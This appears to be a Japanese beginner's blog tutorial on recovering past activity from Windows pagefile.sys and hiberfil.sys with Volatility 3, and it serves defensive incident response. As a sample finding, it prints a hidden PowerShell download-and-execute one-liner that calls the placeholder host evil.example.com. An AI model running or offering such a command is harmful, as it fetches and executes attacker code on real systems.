こんにちは!日々の開発やインフラの保守、本当にお疲れ様です。
システムやセキュリティの世界に足を踏み入れると、「メモリフォレンジック」という、なんだか映画のサイバー犯罪捜査官みたいなカッコいい言葉を耳にする機会があるかもしれません。でも、「メモリ」って聞くと、パソコンの電源を切ったら全部消えちゃう(揮発性というやつですね)儚いものだというイメージがありませんか?
「電源を切っちゃったら、攻撃の痕跡なんて綺麗さっぱり消えちゃうんじゃないの?」
そう思いますよね。実は、そこに大きな見落としがあるんです。
今回は、パソコンの電源を切っても、あるいは何日も前に起きたことでも、ディスクの片隅にしぶとく残る「過去の記憶」―― pagefile.sys と hiberfil.sys を使ったメモリフォレンジックの世界へ、身近な例えを交えながら一歩ずつご案内しますね。
—
1. 「忘れたい記憶」と「強制的なお昼寝」の正体
まずは、今回主役になる2つのファイルについて、私たちの日常生活に例えて優しく紐解いていきましょう。
1-1. pagefile.sys(ページファイル)= 「机の引き出しの奥のメモ」
パソコンの物理メモリ(RAM)は、いわば「作業机の広さ」です。同時にあれもこれもとアプリを開いていると、机の上がいっぱいになってしまいますよね。
そんなとき、Windowsは「今すぐ使わない書類」を机の端っこ、つまりハードディスクやSSDという名の「引き出し」に一時的に片付けます。これが仮想メモリの仕組みであり、その置き場所が pagefile.sys です。
厄介な(そして私たちフォレンジック調査員にとって美味しい)のは、「作業が終わってアプリを閉じても、引き出しの中身はすぐにはシュレッダーにかけられない」という点です。
攻撃者がこっそり実行した怪しいコマンドや、メモリ上に展開したパスワードの断片が、この引き出しの奥にポツンと残されていることが本当によくあるんです。
1-2. hiberfil.sys(ハイバネーションファイル)= 「記憶を丸ごとフリーズさせる魔法」
ノートパソコンなどでよく使われる「休止状態(ハイバネーション)」。これは、パソコンの電源を切る直前の「作業机の上の状態」を、丸ごとそっくりそのままハードディスクに書き出してしまう機能です。その巨大な保存先が hiberfil.sys になります。
電源をプチッと切ったように見えても、このファイルの中には「電源を切るコンマ数秒前までそこにいた犯人の足跡」が、まるで琥珀の中の虫のようにそっくりそのまま閉じ込められています。これを使わない手はありませんよね。
—
2. なぜ「ディスクの中のメモリ」を読む必要があるのか?
私たちが普段行うインシデントレスポンス(侵害調査)では、怪しい挙動を見つけたとき、まず稼働中のパソコンから生きたメモリ(RAM)をダンプファイルとして抜き出します。これを「ライブフォレンジック」と呼びます。
しかし、現場ではこんな状況がよく起こります。
- 「すでにパソコンの電源が落とされてしまっていた(あるいは、犯人に強制シャットダウンされた)」
- 「何週間か前の不審なアクセスの痕跡を、過去に遡って調べたい」
電源が切れている以上、生きたメモリはもう空っぽです。しかし、ディスク上には pagefile.sys や hiberfil.sys が残されています。これらを「冷凍保存されたメモリ」として解析ツールに読み込ませることで、タイムマシンに乗ったかのように過去のメモリ空間を覗き見ることができるのです。
—
3. 実践! Volatilityを使った解析への第一歩
それでは、実際にこれらのファイルをどのように解析するのか、セキュリティエンジニアの定番ツールである Volatility 3 を使った基本的な流れを見ていきましょう。
※実際の解析は安全な検証環境(サンドボックス等)で行ってくださいね。
Step 1: ファイルの回収と準備
まずは、対象のWindows機から C:\pagefile.sys や C:\hiberfil.sys を安全に保全(コピー)します。
ハイバネーションファイル (hiberfil.sys) はそのままではVolatilityで直接扱えない場合があるため、生データ(RAW形式)に変換するツール(例: volatility3 のプラグインや専用の抽出スクリプト)を使用します。
Step 2: 実行プロセスのリストアップ
抽出したファイルをメモリダンプと見なして、Volatilityで当時動いていたプロセスを洗い出します。
# Volatility 3を使用して、ハイバネーションファイルからプロセス一覧を抽出するコマンド例
python3 vol.py -f hiberfil.raw windows.pslist
このコマンドを実行すると、以下のような情報が画面にずらっと表示されます。
- プロセス名(例:
cmd.exe,powershell.exeなど) - プロセスID (PID)
- 親プロセスID (PPID)
- 起動した正確なタイムスタンプ
「あれ? この深夜の時間帯に、普段使わない管理ツールが不自然に動いているぞ……」といった違和感にここで気づくことができます。
Step 3: 怪しいプロセスのコマンドライン引数を暴く
プロセス名が分かったら、次は「何を実行したのか(引数)」を暴きます。攻撃者はよく、PowerShellを使って外部から悪意あるスクリプトをダウンロードさせようとします。
# メモリ空間からプロセスの起動引数(コマンドライン)を特定するコマンド例
python3 vol.py -f hiberfil.raw windows.cmdline --pid 4828
もしここで、次のような不審な文字列がヒットしたら……?
# 解析結果のイメージ(インラインコードでの表現)
`powershell.exe -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -W 1 -C "IEX (New-Object Net.WebClient).DownloadString('http://evil.example.com/payload.ps1')"`
「ビンゴです!」と、調査の現場ではアドレナリンが出る瞬間です。このように、ディスクの奥底に眠っていた pagefile.sys や hiberfil.sys は、攻撃者が隠蔽しようとした証拠を雄弁に語ってくれます。
—
4. 一歩ずつ進めるインシデント対策とまとめ
今回は、メモリフォレンジックにおけるページファイルとハイバネーションファイルの重要性について、少しディープな世界を覗いてみました。
「なんだか覚えることが多くて難しそう……」と感じたかもしれません。でも、最初は全員初心者です。以下のステップで、少しずつ知識と環境を整えていきましょう!
1. まずは仕組みを知ることから:
パソコンの電源を切っても、ディスクの裏側にはデータが残る性質(残存データ)があることを意識する。
2. 検証環境を作ってみる:
手元に安全な仮想マシン(VirtualBoxやVMwareなど)を用意し、あえてハイバネーションを試してファイルを覗いてみる。
3. ツールの使い方を触ってみる:
Volatilityの基本的なコマンドを、ドキュメントを見ながらローカルで動かしてみる。
日々のシステム運用の片隅で、「あれ、もしかしてあの時何が起きていたんだろう?」と思ったとき、今回学んだ pagefile.sys や hiberfil.sys の存在が、真実を暴く強力な武器になってくれます。
一歩ずつ、確実にセキュリティの引き出しを増やしていきましょう!それではまた次回の記事でお会いしましょう。
コメント